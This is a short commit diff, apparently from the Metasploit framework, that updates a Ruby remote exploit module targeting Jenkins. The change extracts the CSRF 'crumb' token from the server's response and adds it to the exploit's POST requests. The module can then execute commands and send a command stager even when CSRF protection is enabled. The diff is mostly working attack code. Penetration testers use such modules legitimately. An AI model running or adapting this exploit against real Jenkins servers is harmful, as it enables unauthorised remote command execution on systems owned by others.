Fix jenkins when CSRF is enabled
parent
1095d1dca3
commit
4c2ae1a753
|
@ -80,6 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
}
|
||||
request_parameters['cookie'] = @cookie if @cookie != nil
|
||||
request_parameters['vars_post']['.crumb'] = @crumb if @crumb != nil
|
||||
res = send_request_cgi(request_parameters)
|
||||
if not (res and res.code == 200)
|
||||
fail_with(Failure::Unknown, 'Failed to execute the command.')
|
||||
|
@ -145,6 +146,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
fail_with(Failure::Unknown) if not res
|
||||
|
||||
@cookie = nil
|
||||
@crumb = nil
|
||||
if res.code != 200
|
||||
print_status('Logging in...')
|
||||
res = send_request_cgi({
|
||||
|
@ -167,6 +169,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status('No authentication required, skipping login...')
|
||||
end
|
||||
|
||||
if (res.body =~ /"\.crumb", "([a-z0-9]*)"/)
|
||||
print_status("Using CSRF token: '#{$1}'");
|
||||
@crumb = $1;
|
||||
end
|
||||
|
||||
case target['Platform']
|
||||
when 'win'
|
||||
print_status("#{rhost}:#{rport} - Sending command stager...")
|
||||
|
|
Loading…
Reference in New Issue